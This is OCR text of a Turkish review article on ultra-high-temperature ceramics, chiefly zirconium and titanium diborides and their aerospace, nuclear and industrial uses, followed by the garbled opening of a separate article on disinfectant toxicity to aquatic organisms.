elementi ile metal ve ametallerin meydana getirdigi bilesiklerdir ve genellikle diboriir

255



formunda iki adet bor elementi ihtiva eder. Diboriirlerin ¢ogunlukla gegis metallerinin
bilesikleri oldugu goriilmektedir. Pek ¢ok boriir yiiksek ergime sicakligina sahiptir, bunlardan
bilhassa gec¢is metallerinin diboriirleri 6nde gelir. Bundan dolay1 yiiksek sicaklik malzemeleri
olarak nitriirler, karbiirler ve silikatlarla beraber refrakter sert metal bilesikleri diye
tanimlanmaktadirlar.

Metal boriirler, son zamanlarda dikkat cekici bilesikler icerisinde yer almaktadirlar
bunun sebebi sergiledikleri tstiin 6zelliklerdir. Ayrica yiiksek sertlik, yiiksek sicaklik
dayanimi, korozyon direnci ve asimnma gibi ozelliklere sahip olmalar1 nedeniyle pek ¢ok
alanda kullanim imkan1 vardir. Metal boriirlerin oksitli yapidaki seramiklere kiyasla ytliksek
sertlik, yliksek termal ve elektriksel iletkenlik, yiiksek ergime sicakligi, termal sok, iyi
korozyon ve asinma direncine sahip olmalari onlarin en belirgin 6zellikleridir (Akkas, 2010).
Zirkonyum, titanyum ve hafniyum diboriirler yiiksek sicaklikta en kararli diboriirlerdir ve her
biri 3000°C civarinda ergime noktasina sahiptir. Gegis metallerinin diboriirleri ise, en yiiksek
oksidasyon direncine sahip metal boriirlerdir. Borun yiizeyde olusturdugu oksit tabakasi ve
yapidaki gecis metalleri oksidasyon direncini saglayan faktordiir. Yiizeyde meydana gelen
oksit tabakasi, yaklagik 1000°C’ye (bor oksidin (B203) buharlasmaya basladigi sicakliga)
kadar yiizeyi korur. Metal boriirlerin ¢ogu, karbon, hidrojen ve azot atmosferinde yiiksek
sicakliklara kadar inert 6zellik gosterir (Kurtoglu, 2007). Metal boriirler elektriksel 6zellikler
bakimindan birbirlerinden ¢ok farklidirlar. Ornegin ZrB; ve TiB, metalik iletken, ZrBi2, NbB
ve YBs gibi pek cok gecis metaline ait boriirler ise siiper iletkenlik gosterir (Akkas, 2010).
Boriir sistemlerinin oksidasyon direngleri karsilastirildiginda en iyi ozellikler HfB2’de
goriilmistiir. HfB2’yi ZrB, ve TiB; izlemektedir (Kaya, 2016). Boriirler bilhassa yiiksek
sertlik ve yiiksek ergime noktasi gibi mekanik ve 1sil 6zelliklerinden dolay1 yiiksek aginma
direncine ihtiya¢ duyulan uygulamalarda ve Ogiitme sistemlerinde kullanilmis olsalar da
teknik seramiklerde son gelismelerle birlikte Onemlerinin arttigi goriilmistiir. Boriirler
olaganiisti  kimyasal, mekanik, 1sil ve elektriksel ozellikleri nedeniyle ileri teknoloji
uygulamalar i¢in muhtemel adaylardir (Turan, 2014). Son zamanlarda tiim diinyada
UHTC’lerin en mithim uygulama alanlarindan biri olan uzay ve havacilik uygulamalarinda
boriirlerin ve boriir esasli kompozitlerle yonetilen arastirmalar ilgi gormektedir. Bu
malzemelerin  gelistirilmesindeki ve performanslarinin artirilmasindaki —arastirmalarda
kullanilmak i¢in NASA her yi1l milyonlarca dolar fon ayirmaktadir (Altuncu ve Esen, 2015).
1997 yilinda NASA metal boriir esasli bilesigi deneysel ugusta burun ucu malzemesi olarak
kullanmigtir. Boriir sistemlerinden HfB2 ve ZrB; burun ucu ve hiicum kenar1 uygulamalarinda

en fazla calisilan boriirlerdir. Kanadin keskin kosesi en yiiksek sicaklik degerine maruz kalan
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kisimdir. Ugus sirasinda bu bolgenin maruz kaldigi 1s1 akist sonucu sicaklik 2000°C’nin
lizerine ¢ikar.

Hipersonik ve atmosfere giris sistemlerinde burun ucu ve hiicum kenarlarinda ultra
yiiksek sicaklik seramikler ve/veya kompozitler, asir1 aerotermal 1sitma ortamlarinda
calismalidir (Marschall ve Fletcher, 2010). Keskin koseli parcalarda ii¢ boyutlu 1s1 transferi
etkili olur bu bolgelerde 1s1 enerjisinin malzeme boyunca iletilmesi ve sicakligin daha algak
yiizeylere dogru tekrar yayilmasi igin termal iletkenligi yiiksek malzemeler kullanilmalidir.
Burun ucu ve hiicum kenarlarinda yiiksek termal iletkenlige sahip metalik boriirler
kullanildiginda 1s1 enerjisi bu bolgelerden kanat, gévde kisimlarina kontrollii ve etkili bicimde
uzaklagtirilabilir. Ultra yiiksek sicaklik seramiklerin i¢inde matris malzemesi olarak boriirlerin
kullanilmasi ve uzay ve havacilik sektorii gibi alanlarda boriir kullaniminin tercih edilme
sebepleri; nitriirlere ve karbiirlere kiyasla daha iyi oksidasyon direnci gostermeleri, daha
yiikksek termal iletkenlik gostermeleri ve elektro erozyonla islemeye imkan vermesi
bakimindan 6nem arz eden bir 6zellik olan elektriksel iletkenliginin de daha yiiksek olmasidir
(Kaya, 2016).

Ultra yiiksek sicakliklardaki yapisal uygulamalar baglaminda di-boriirler; refrakterlik,
yiikksek sertlik, yiiksek elastik modiil, iyi kirtlma mukavemeti, iyi termal iletkenlik, iyi
elektriksel iletkenlik ve kayda deger oksidasyon direnci gibi milkemmel mekanik ve fiziksel
ozellikler sergiler. Gegis metali di-boriirlerinin 6zelliklerinin benzersiz kombinasyonu, onu
erimis metal potalar, kesici aletler, asinmaya dayanikli parcalar, elektro desarj isleme icin
elektrotlar, hall-heroult hiicresi i¢in katot malzemesi, elektrikli cihazlar, diger malzemelerin
iletkenligi ve Ozelliklerini 1yilestirme i¢in giliclendirme, zirh malzemeleri, aliiminyum
buharlastirma botu, enerji uygulamalar1 (niikleer ve giineste), roket nozullari, refrakter
parcalar ve yliksek sicaklik yapisal pargalar vb. ¢esitli uygulamalar i¢in uygun hale getirir
(Golla ve ark., 2020). Boriirler ailesinde dibortirler 6nemli bir bilesik grubunu olustururlar.
Oksitli yapidaki seramiklere kiyasla yiliksek termal ve elektriksel iletkenlik, yiiksek ergime
sicakligi, termal sok ve korozyon direnci, yiiksek sertlik, iyl asinma dayanimi gostermeleri
metal boriirlerin en belirgin 6zellikleridir. Zirkonyum ve titanyum elementleri IV B
grubundaki gecis metalleridir ve IV B grubu metal boriirlerin genel ozellikleri: digiik
yogunluk, yiiksek sertlik, yiiksek termal iletkenlik, yiiksek ergime noktasi, yiiksek elektrik
iletkenligi, yliksek kimyasal kararliliktir (Y1ldizgelik, 2015; Bugdayci ve ark., 2018).

Yiiksek aginma direnci, yiiksek sicakliklarda oksidasyon dayanimina sahip olan metal
boriirler ayn1 zamanda asit ve erimis metal dayanimi, yiiksek sertlik, yiiksek 1sida elastikiyet

ve elektrik iletkenligi gibi olaganiistii 6zellikleri nedeniyle de sanayide ¢ok yaygin bir
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kullanim alanlar1 vardir. Havacilik -uzay sanayii, niikleer sanayi, kesici takimlar, savunma
sanayii (kursun gegirmez malzemeler), 1siya dayanikli kaplama malzemeleri genel kullanim
alanlaridir. Metal bortirler ilerleyen teknolojiyle bu kullanim alanlarmi gittikce

artirmaktadirlar. (Yildizgelik, 2015).

Ultra Yiiksek Sicakhik Seramik Malzemelerin Kiyaslanmasi

o Seramik bortirler (MxBy), 3000°C’den yiiksek yiiksek ergime sicakligina, yaklasik 107
S/m elektrik iletkenligine, termal iletkenlige (60-120 W/m.K), yaklasik 500 GPa
esneklik katsayisina, ve 20 GPa’dan yiiksek sertligi de dahil metallere benzeri
alisilmisin diginda bir 6zellik birlesimi gostermektedir (Altuncu ve Esen, 2015).

o Boriirlii bilesikler, karbiirlii bilesikler ile kiyaslandiginda diisiik ergime sicakliklarina
ragmen 1s1l ve elektriksel iletkenlikleri nispeten yiiksektir (ZrC- 106 S/m) (Altuncu ve
Esen, 2015).

o Seramikler arasinda en yliksek ergime sicakligina 3800°C erime noktasi ile TaC sahiptir
(Altuncu ve Esen, 2015).

o Seramik boriirler miithis oksidasyon direnglerine sahipken seramik karbiirler daha
diisiik oksidasyon direncine sahiptirler (Altuncu ve Esen, 2015).

o Karbiirlerin ergime sicakliklar1 daha yiiksektir bunun nedeni giiglii kovalent bag
yapilarina sahip olmalaridir. Yine de, boriirlerde bag yapilarindaki 6zel elektronik
dizilim sebebiyle, elektriksel ve termal iletkenlik degerleri nitriirlere ve karbiirlere
kiyasla yiiksektir (Kaya, 2016).

Ultra Yiiksek Sicaklik Seramiklerinin Kullanim Alanlar

Ultra yiiksek sicaklik seramikleri; yiiksek sertlige, asinma direncine sahip olmanin yani
sira ¢ok yiiksek sicakliklara karsi dayanimlari sebebiyle bilhassa havacilik ve uzay
endiistrisinde kullanim ihtimali yiiksek ileri teknolojik seramik esasli malzeme sinifinda yer
almaktadirlar (Yildirim, 2021). Ultra yiiksek sicaklik seramikleri yeni nesil hipersonik aragta
kullanim igin potansiyel malzemelerdir. 3000°C’yi asan ergime noktalarina sahiptirler ve bu
da onlar1 hipersonik ugus sirasinda aracin 6n kenarlariin yasadig: asir1 sicakliklara dayanmak
icin uygun adaylar haline getirir. Yiiksek 1sil iletkenlige ve iyi oksidasyon direncine
sahiptirler, bu nedenle ses alt1 ugustan hipersonik ugusa hizlanma sirasinda yasanabilecek ani
sicaklik degisikliklerine ek olarak yiiksek sicaklik yiiklemesini siirdiirmek i¢in ideal hale

getirirler (Backman ve ark.,, 2020; Povolny ve ark., 2022). Bu malzemeler termal
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kararliliklarinim ytliksek olmasi nedeniyle yeniden giris ve hipersonik araglarin bilesenleri
olarak kullanilmaktadir (Marumo ve ark., 2022). Ultra yiiksek sicaklik seramikler 1950’lerde
niikleer reaktdrlerde ve uzay ucagi konseptleri i¢in termal koruma sistemleri (TPS) olarak
kullanilmak {tizere gelistirilmistir (Povolny ve ark., 2021). O zamandan beri arastirmalar
aralikli olmasina ragmen, bir dizi yiiksek performansli havacilik araci ve sistemi i¢in ihtiyac
duyuldugundan UHTC’lere olan ilgi yeniden canlanmistir. Bunlar;

e Filizeler ve diger savunma uygulamalari,

e Yiiksek irtifa ve uzay ugusu,

e Yiiksek hizli hava soluma motorlaridir.

Ultra yiiksek sicaklik seramikler icin tipik uygulamalar, roket nozulleri, burun konileri
ve hipersonik fiizelerdeki kanatlarin ve stabilizatdrlerin ince 6n kenarlari, ters itme yapraklari
ve itme saptiricilardir. Bu uygulamalarin tiimii, malzemelerin yiiksek sicakliklarda kararl
olmasimi gerektirir. Ayrica, kimyasal ve yapisal olarak kararli ve aginmaya dayanikli, ayrica
hafif ve aerodinamik olmalidirlar. Hipersonik araclarda keskin 6n kenarlar igin 1s1 yalitim
malzemeleri ¢ok yiiksek sicakliklarda (2000°C’ye yakin) kararli olmalidir. Malzemeler
buharlagsmaya, erozyona ve oksidasyona direnmelidir. Bilesen agirligin1 en aza indirmek i¢in
UHTC’nin kendi i¢inde diisiik yogunluklu olmasi veya ince bir kaplama veya bagimsiz bir
bilesen olarak etkili olacak kadar verimli olmasi gerekir. Bortirler, yiiksek erime sicakligi,
sertlik ve miikemmel termal iletkenlik ile karakterize edilir. Bu nedenle hipersonik araglarda
hiicum kenarlarinda uygulanirlar (Cotton, 2010).

Ozellikle hipersonik ucus sirasinda aerodinamik isitma, bir seferde 2000°C’yi asan
sicakliklara maruz kaldiginda kimyasal ve yapisal biitiinliiklerini koruyan malzemeler
gerektirir. Ek olarak, bu malzemeler, 6n kenarlar, girisler ve itici bilesenler gibi keskin arag
geometrilerinin yakininda yasanan muazzam 1s1 akislarini siirdiirmeli ve yonlendirmelidir.
Ultra ytiksek sicaklik seramikleri bu rolii yerine getirmektedir (Povolny ve ark., 2021).

Ileri teknolojik seramikler; yapilari, kullanim alanlar1 ve dzellikleri bakimindan gesitli
siiflara ayrilabilmektedir. Ultra yiiksek sicaklik seramikleri olarak tanimlanan nitriir ve
karbiir, boriir seramikleri (4. ve 5. grup elementleri) iistiin yiiksek sicaklik ve atmosfer
sartlarinda kullanilabilen malzemelerdir ve bu siniflandirmada en dikkat c¢ekici malzeme
grubudur. Genellikle yiliksek sicakliklarin  kullanilmasi1 gereken uygulamalarda ©n
plandadirlar. Nitriir, boriir ve karbiir bilesikleri olan bu malzemeler, yiiksek sicakliklarda ¢ok
yiiksek termofiziksel ve termokimyasal Ozelliklere sahiptir ve kararhidirlar. Tim bu

ozelliklerinin yan1 sira uzay araclarinin yiizey kaplamalarinda da kullanilmaktadir (Atasoy ve
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Demir, 2019). Ultra yliksek sicaklik seramikleri olumsuz ve kimyasal olarak agresif ortamlari
iceren uygulamalar i¢in onlar1 giiclii rakipler yapan olagandis1 6zelliklere sahip refrakter
malzemelerdir. Son derece yiiksek erime sicakliklari, yiiksek oksidasyon direnci ve yiiksek
sicaklik kararliligr ile gelismekte olan bir seramik malzeme sinifidir ve bu da onlar1 asir1 ve
kimyasal olarak agresif ortamlari iceren uygulamalar igin giiglii bir rakip haline getirir
(Pasagada ve ark., 2022). Ultra yiiksek sicaklik seramikler, hipersonik havacilik araglari i¢in
termal koruma ve tahriklerdeki ve gelismis niikleer yakitlardaki ¢ekirdek bilesenler gibi ultra
yiiksek sicaklik ortamlariyla karsilasan uygulamalar i¢cin en umut verici aday malzemeler
olarak kabul edilmistir (Jin ve ark., 2021). Burun konisi ve keskin hiicum kenarlar1 gibi
yiiksek sicaklik uygulamalarindaki kullaniminin yani sira pota ve 1sil ¢ift astar1 yapiminda,
refrakter ve dokiim 6zellikli malzeme iiretim proseslerinde, ¢elik iiretimi termovel tiiplerinde,
kesme ve asindirma takimlarinda, nozullarda ve zirh uygulamalarinda kullanilmakta ya da

kullanima aday gosterilmektedir (Tiilbez ve ark., 2019).

ZrB2’ nin Ultra Yiiksek Sicaklik Uygulamalarinda Kullanimi

Refrakter diboriir bilesiklerinin diger intermetalik bilesikler (nitriirler, karbiirler,
silisitler) ile karsilastirildiginda kismen yiiksek oksidasyon dayanimina sahip olmalar1 gegis
metali boriirleri iizerinde yapilan arastirmalart arttirmistir.  Ultra  yiiksek sicaklik
seramiklerinin bir tlirli olarak, ZrB, gibi diboridlerin oksidasyona karsi oldukca direngli
oldugu kanitlanmistir (Jin ve ark., 2021). Yiiksek ergime sicaklifina ek olarak kimyasal
kararliliga, yiiksek elektrik ve termal iletkenlige, mekanik asinmaya ve korozyon dayanimina
sahip olmalari, onlarin asir1 termal ve kimyasal kosullarda kullanilmalarini saglar. Yiiksek
termal iletkenliklerinin sayesinde elde edilen termal sok dayanimi bu malzemelerin yliksek
sicaklik uygulamalarinda kullanilabilmelerine imkan verir. Zirkonyum diboriiriin 3000°C

tizerinde ergime sicakligina sahip olmasi, 1800°C iizerinde sicakliklara gereksinim olan

uygulamalarda, yiiksek sicaklik seramikleri arasinda 6,1 g/cm?®

yogunlukla en alcak
yogunlugu olan seramik olmasi sebebiyle uzay teknolojisinde en ¢ok kullanilan malzeme
olmasini saglar. ZrB», ultra yiiksek sicaklik seramikleri grubuna aittir ve ZrB2, termal koruma
sistemlerinde, hipersonik ara¢c sistemlerinde, glines yogunlastiricilarinda ve firin
elemanlarinda kullanilabilir (Kumar Thimmappa ve ark., 2021). Ultra yiiksek sicaklik
seramikleri arasinda, diger boridlere kiyasla nispeten diisiik yogunlugu, yiiksek mukavemeti,
sertligi, termal iletkenligi ve korozyon direnci nedeniyle ZrB,’ye 6zel bir nem verilmektedir

(Nowak ve ark., 2021). ZrB,, yiiksek erime noktasi, yiiksek sertlik, miikkemmel aginma ve

kimyasal direnci ve yiiksek termal kararlilik gibi ¢cok 6zel fizikokimyasal 6zelliklere sahiptir.
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Bu benzersiz 6zellikler, bu malzemenin ¢esitli alanlardaki genis uygulamalart i¢in kilit
faktorlerdir; 6rnegin termal koruma sistemler, yeniden giris araglarinda uygulanan asinma
parcalari, yiiksek sicaklik elektrotlari, erimis metal potalar, nozullar ve kesme aletlerinde ZrB>
kullanilmaktadir (Nayebi ve ark., 2016). ZrBz, 3250°C ergime noktasiyla ve gdreli olarak
yaklasik ~6,09 g/cm? diisiik yogunlugu yan1 sira bir hayli iyi yiiksek sicaklik mukavemeti, bu
malzemenin sesten hizli ugaklarda (hipersonik) ya da roket atesleme sistemlerindeki gibi
yiiksek sicaklik uzay aract uygulamalarinda aday malzeme olmasina sebep olur. ZrB, goreli
olarak yiiksek termal ve elektrik iletkenligi ile asilmisin disinda bir seramik malzemedir
(Usiimezel, 2016). Bu malzemenin buharlastirma kayikciklar1 ve metal ergitme potalar1 gibi
yiiksek sicaklik dayanimina ihtiya¢ duyulan uygulamalar, aliiminyumun elektrokimyasal
prosesle iiretiminde hava sahasi tasitlarinda yapit malzemesi, katot malzemesi ve asindirici
zirth uygulamalar1 olarak kullanim alani bulmaktadir. Bu durum malzemenin kimyasal
kararlilik, yliksek ergime sicakligi, elektrik iletkenligi ve yiiksek termal sok dayanimi gibi
ozelliklerinden dolayidir. Ayrica niikleer reaktorlerde yapt malzemesi olarak da uygulama
alant bulur ki bu da korozyona dayanikliligt ve ndtron yakalama ozelliginin diisiikligi
nedeniyledir. Ayn1 zamanda ZrB», yliksek termal iletkenlik ve yiiksek 1s1 kapasitesi gibi
ozelliklere de sahiptir ve bu nedenle ucak 6n kenar ve u¢ kisimlarinda yap1 malzemesi olarak
da hipersonik hava sahas1 uygulamalarinda kullanilmaktadir (Akkas, 2010). Bahsi gecen diger
ozellikler gibi ZrBz esasli seramiklerin ultra yiiksek sicaklik malzemeleri yiiksek
sicakliklardaki olaganiistii fiziksel ve kimyasal kararlilik nedeniyle, nozul ve zirh malzemeleri
olarak, firinlarda korozyona direngli malzemeleri olarak kullanilmasinin yani sira uzay ve
havacilik endiistrisinde uygulama alanlar1 bulmaktadir (Oztiirk, 2017).

Ultra yiiksek sicaklik seramiklerin termal ve kimyasal kararliliklar1 ayni zamanda
yiiksek fiziksel dayanimda olmalarina imkan verir. ZrB; yapisinin yiiksek oksidasyon
dayanimi onun askeri alanlarda ve uzay endiistrisinde de kullanilmasini saglar. Bilhassa son
zamanlarda Cin, Italya, ABD, Hindistan ve Japonya’da diboriirler ile gerceklestirilen
caligmalarda artma goriilmektedir. Hipersonik uzay araglarinda, tekrar kullanilabilir atmosfere
giris aracglarinda ve roket yanma sistemlerinde kullanim alan1 bulmaktadir (Ozkan, 2019).
ZrB2, korozyona kars1 ve sicaklik degismelerine olduk¢a dayaniklidir. Bundan dolay1 termo
elementlerde koruyucu kaplama ve pota malzemesi olarak kullanilir. Roket motoru
parcalarinda, jet motoru parcalarinda, kesici aletler ve elektrik kontaktorleri {iretiminde
zirkonyum diboriir seklinde borlar kullanilmaktadir (Kustutar, 2008). ZrB, yiiksek
sicakliklarda bile bir hayli iyi mekanik 6zellikler sergiler ve bu nedenle nozul gibi pargalarda

yapisal eleman olarak kullanilabilir (Turan, 2014). Zirkonyum diboriir artan sicaklik
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degerlerinde yliksek oksidasyon direnci gosterir (Aynibal, 2009). Zirkonyum diboriir termal
sok direnci ve oksidasyon direnci ve yiiksek sertlige sahip, niikleer reaktor ¢ekirdeklerinde
tutusma emici, eriyik metal kabi, yar1 iletkenlerde difiizyon bariyeri olarak kullanilmaktadir.
Zirkonyum diboriir, bilhassa karbon ¢eligi, eriyik Zn, Mg, Fe, Cu, Cd, Sn, Pb, Rb, Bi, Cr,
piring, pik demir, itriya, kriyolit, aliimina ve zirkonya sicak pres proseslerinde kroze olarak
kullanilmaktadir. Atmosfer sartlarinda 1100-1400°C sicakliklarda ciddi bigimde oksitlense
bile inert atmosferde 2000°C iizerindeki sicakliklarda da kararliligini kaybetmemektedir
(Simsek, 2014).

Atmosfere geri donen uzay araglari uzay boslugundan diinyamiza girdiklerinde
astronotlarin karsilastig1 direng yaklasik 12 G kuvvetindedir. Bu sirada aracin hizi saniyede
yaklasik 8 kilometredir ve siirtiinme nedeniyle 1500°C ila 2100°C arasinda bir ylizey sicakligi
oldugu rapor edilmistir. Bundan dolayr Termal Koruma Sistemlerinde (TPS) zirkonyum
diboriir gibi 2000°C {izeri sicakliklara dayanikli ultra yiiksek sicaklik seramikleri kullanilir
(Anonim, 2023a).

Zirkonyum dibortir tistiin 6zellikleri nedeniyle son zamanlarda endiistriyel uygulamalar
icerisinde takviyeli kompozit malzeme imalatinda kullanilmaktadir. Bu nedenle sertlik ve
tokluk degeri bakimindan otomotiv sektoriiniin gereksinimleri karsilayabilecek seramik
kompozit malzemeler calisiimaktadir. Bu malzemeler otomotiv sektoriinde sicakligin ve
siirtiinmenin ¢ok olacagi parcalarin kaplanmasi ya da yapimi gibi endiistriyel uygulamalarda

kullanilabilir.

TiB2’ nin Ultra Yiiksek Sicaklik Uygulamalarinda Kullanimi

Zirkonyum diboriir gibi metal diboriirler arasinda genis c¢apta kullanima sahip
olanlardan bir tanesi de titanyum diboriirdiir (Akkurt, 2019). 3000°C iizerinde yiiksek ergime
sicakligina sahip olan titanyum diboriir, yiiksek sertlik, yiliksek elektriksel iletkenlik, yiiksek
1s1] iletkenlik ve yiliksek asinma direnci gosteren bir gecis malzemesi olup, ultra yiiksek
sicaklik uygulamalarinda kullanilir. Titanyum dibortir UHTC’lerinden olup, sahip oldugu
bunlar gibi 6zellikleri nedeniyle uzay ve havacilik sektorleri 6nde gelmekle birlikte pek ¢ok
alanda kullanim alan1 bulmaktadir (Ersan, 2019).

TiB2 bazl ultra yiiksek sicaklik seramikleri miikemmel mekanik, kimyasal ve fiziksel
Ozellikleri nedeniyle biiyiik ilgi gormiistiir (Cai, 2022). Gegis grubu metali diboriirleri bir
hayli cesitli ve olaganiistii kimyasal ve fiziksel 6zelliklere sahip olan kapsamli bir bilesik
grubudur. Titanyum dibortiir grubun ilk akla gelen {iyeleri arasinda olup, elektriksel iletkenligi

ve ergimis sivilara karst direnci sebebiyle aliiminyum buharlagtirma kayik¢iklarinin
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vazgecilmez yapisal elemanlarindan biridir. Bu bilesikler, genellikle kimyasallara karsi
yiiksek inertlik, yiiksek sicakliklarda bir hayli iyi kararlilik ve yiliksek sertlik gibi 6zellikleri
ile 6n plana ¢ikmaktadirlar (Turan, 2014). Titanyum diboriir, bir dizi yiiksek teknolojik
uygulama i¢in temel malzeme olarak kabul edilen, artan ilgi goren bir malzemedir. Titanyum
diboriiriin, sertlik, termal iletkenlik, elektriksel iletkenlik ve oksidasyon direnci 6zelliklerinin
kombinasyonu, TiB2’yi ozellikle yiiksek sicakliklarda asinma uygulamalar1 i¢in aday bir
malzeme yapar. TiB2, termal sok direnci ve ani sicaklik degisimlerine kars1 direnci oldukca
yiiksek olan, ultra yliksek sicaklik seramikleri siifinda yer alan ve benzersiz 6zellikleri
nedeniyle bir hayli dikkate deger bir malzemedir (Ersan, 2019). Yiiksek sicaklik
uygulamalarinda WC esasli malzemeler yerine TiB2 esasli malzemeler tercih edilmelidir.
Yiiksek sicakliklarda kimyasal kararligi ve iyi elektriksel iletkenligi TiB2’yi 6zel
elektrik uygulamalari i¢in (6rnegin, aliminyum elektro-ergitme igin katotlar veya vakumlu
metal biriktirme ekipmanlart i¢in buharlastirma elemanlar1) miikemmel bir aday yapar
(Yanardag, 2022). Titanyum diboriir nan-oksit (oksit olmayan) seramik olarak kullaniminin
yant sira contalar, kesici takimi, yliksek sicaklikta baglanti parcalari, nozuller, asinma
plakalar1 olarak da kullanilir. Kimyasal ataga ve yiiksek sicakliga maruz kalan kisimlarda
kaplama veya parga olarak (6rnegin jet motoru parcalarinda, motor parcalarinda, metal
ergitme nozulleri ve roket motor pargalarinda) kullanilmaktadir. Yiiksek sicakliklarda elektrik
kontak malzemesi olarak kullanilir. TiB2 aliiminyum firlarda (Hall-Herault) elektrot olarak
kullanilir (Maraghoglu, 2005). TiB2 sertlige, mukavemete, kimyasal kararliliga, ergimis
aliminyum tarafindan 1slanabilirlige ve iyi elektrik iletkenligine sahip olmasi nedeniyle
asinma ve yiikksek sicaklik iceren uygulamalarda miihim olan boriirler arasinda bir adim
ondedir. Ayrica TiB2, yapisinda bulunan bor ¢iftinin nétron absorblama 6zelligi nedeniyle
yiiksek sicaklik niikleer reaktorlerinde kontrol malzemesi olarak kullanilmaktadir. Yiiksek
sertlige (25 GPa), yiiksek ergime noktasina (3225°C), diisiik yogunluga (4,5 g/cm?), kimyasal
kararliliga, iyi derecede termal iletkenlige (96 W/mK) sahip olmasi titanyum diboriirii aginma
ve yiiksek sicaklik gerektiren uygulamalarda miihim bir boriir yapmaktadir. Gegmiste edilgen
savunma zirhlarinda zirh gelikleri kullanilirken yogunlugu, yiliksek asinma direnci ve yiiksek
sicakliklara kars1 dayanimi istiinliiglinden dolay: artik titanyum diboriirler kullanilmaktadir
(Aynibal, 2009). Titanyum diboriir seramikleri ek olarak, yiiksek ergime noktasi, yiiksek
yogunluk/mukavemet orani (spesifik mukavemet), yiiksek sertlik, diisiik termal genlesme
katsayisi, yliksek elektriksel iletkenlik, iyi korozyon dayanimi ve yiiksek aginma direncine
sahip iyi bilinen bir ileri teknoloji seramigidir. Titanyum diboriirlerin tiim 6zellikleri dikkate

alindiginda metal ergitme nozulleri, kaplama olarak yiiksek sicakliga maruz kalan parcalarda,
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roket motor pargalarinda ve yiiksek sertlikte olan biiyiilk mermilerin yapisinda, jet motoru
parcalarinda  kullanilan silisyum  karbiir (SiC) kompozitlerinin  mukavemetlerinin
artirilmasinda da kullanildigi goriilmektedir (Ersan, 2019). TiB2’lin bir baska miihim 6zelligi
asinma direncidir. Yiiksek sicaklikta meydana gelen aginmaya karsi dirence ihtiya¢ duyulan
uygulamalarda bile kullanilabilmektedir. TiB2 esasl seramikler, tekrar kullanilabilir firlatma
araglar1, hipersonik ucaklar, ya da roket motorlarinda potansiyel malzeme olmaya ve 1800°C
iistiindeki hipersonik tekrar giris alani araglarindaki 6n kenar parcalari i¢in termik koruma
yapilart olmaya aday oldugu goriilmektedir. Ayrica ndtron absorblama o6zelligi olmasi
nedeniyle, yiiksek sicaklik niikleer reaktorlerde kontrol cubuk malzemesi olarak da
kullanilmaktadir (Akkurt, 2019). 1100°C’lere kadar ki sicakliklarda havada oksidasyona karsi
direnglidir (Anonim, 2023b).

Zirkonyum Diboriir ve Titanyum Diboriir

Zirkonyum Diboriir - Titanyum Diboriiriin Karsilastirmasi, Avantaj,
Dezavantajlar

Ti-B sistemindeki gibi Zr-B siteminde Zr3B4 ara faz1 bulunmamaktadir (Aynibal, 2009).
Zirkonyum diboriir, titanyum diboriirden sonra ikinci en diisiik yogunluga (6.17 g/cm?) sahip
olan ultra yiiksek sicaklik seramiklerinin bir iiyesidir (Yicel, 2022). TiB2’nin 1s1l iletkenligi
yiiksek, elektrik iletkenligi orta seviyededir (Anonim, 2023a). ZrBz’nin TiB2’ye kiyasla
avantajlari vardir. ZrB; daha yiiksek yogunluga sahiptir ve takviyeli kompozit malzemelerde
daha cok tercih edilir. ZrB2’in tercih nedeni pek cok dengeli ara faza sahip olmasidir

(Kustutar, 2008).

Sonuclar

Ultra Yiiksek Sicaklik Seramikleri, agresif ¢alisma atmosferi, cok yliksek sicaklik ve
yiiksek termal gerilme kosullarinda kullanilan yiliksek maliyetli spesifik, ileri teknoloji bir
seramik malzeme sinifidir. Bu malzemelerin genel ortak 6zelligi yiliksek sicakliklarda kararl
bir yapiya sahip olmasi ve ergime sicakliklarmin 2000°C’nin iizerinde olmalaridir. Bu nedenle
havacilik ve uzay malzemelerinin se¢iminde ve tasariminda sicaklik-zaman ¢evrimine bagl
olarak ¢alisma ortam kosullarinda oksidasyon ve sicak korozyon davranisi, termal sok direnci,
termal yorulma dayanimi, termal ¢evrim omrii yaninda malzemenin termofiziksel 6zellikleri;
11l iletkenlik, 1s11 genlesme, difiizyon hizi, reaksiyon kinetigi gibi faktorlerin tizerinde hassas

caligmalarin yapilmasi zorunludur.
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Ayni zamanda maliyetleri malzeme tasarimcilart uygulamalarda kullanilacak parganin
performansinin ve dayaniminin yaninda iiretim ve sekillendirme kabiliyetini de dikkate almasi
gerekmektedir.

Metal boriirler (titanyum/zirkonyum diboriirler) diboriirler yiiksek sicakliklarda
oksidasyon dayanimi, yliksek asinma direnci, 6zelliklerinin yani sira asit ve erimis metal
dayanimi, yiiksek sertlik, yiiksek 1sida elastikiyet ve elektrik iletkenligi gibi olaganiistii
Ozelliklere sahip olmalari onlarin endiistride ¢ok yaygin bir kullanim alani bulmalarina neden
olmaktadir. Titanyum dibortir, bir dizi yiiksek teknolojik uygulama i¢in temel malzeme olarak
kabul edilen, artan ilgi goren bir malzemedir. ZrBz’de TiB: istiin 6zelliklere sahip bir
malzemedir ve oksidasyona karsi olduk¢a direngli oldugu kanitlanmistir Ayni zamanda
ZrB2’nin TiB2’ye kiyasla daha cok tercih edilmektedir. Diboriirler otomotiv, havacilik
sektorlinde sicakligin ve siirtinmenin olabilece8i parcalarin kaplanmasi veya yapiminda
kullanilabilir. ilerleyen teknolojiyle birlikte bu kullanim alanlari gittikge genisleyerek

artmakta ve artmasi beklenmektedir.

Arastirmacilarin Katki Orami1 Beyan Ozeti

Yazarlar makaleye esit oranda katki saglamis olduklarini beyan ederler.

Cikar Catismasi1 Beyam

Makale yazarlar1 aralarinda herhangi bir ¢ikar ¢atismasi olmadigini beyan ederler.
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for organisms in long-term exposures.

the presence of disinfection products in the environment has also become a
concern, and their toxicological effects on organisms have been questioned.
Keywords: This study was conducted to comparatively investigate and evaluate the effects
of various disinfectants on organisms in aquatic ecosystems. For this purpose,
toxicity significance levels based on life cycle studies with certain species in
the aquatic environment were investigated, and a significant number of studies
Public health including the effects of different disinfectant types on target species were
grouped. According to the studies examined, it has been observed that
organisms are most affected by chlorine exposure due to its economical and
easy use. The results showed that disinfectants pose a risk to the ecosystem
and may even cause more genotoxic, mutagenic and teratogenic consequences

Dezenfektanlarin Sucul Organizmalar Uzerindeki Toksik Etkileri
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Makale Tarihgesi: Son yillarda artan kaotik iklimsel ve mikrobiyal degisimlere bagli olarak
Gelis tarihi: 17.08.2023 cevre refah1 ve halk sagh@min stabilizasyonunu saglamaya yonelik g¢esitli
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Anahtar Kelimeler:
Cevre refahi

yaklagimlar ortaya c¢ikmistir. Dezenfeksiyon islemleri bunlardan biri
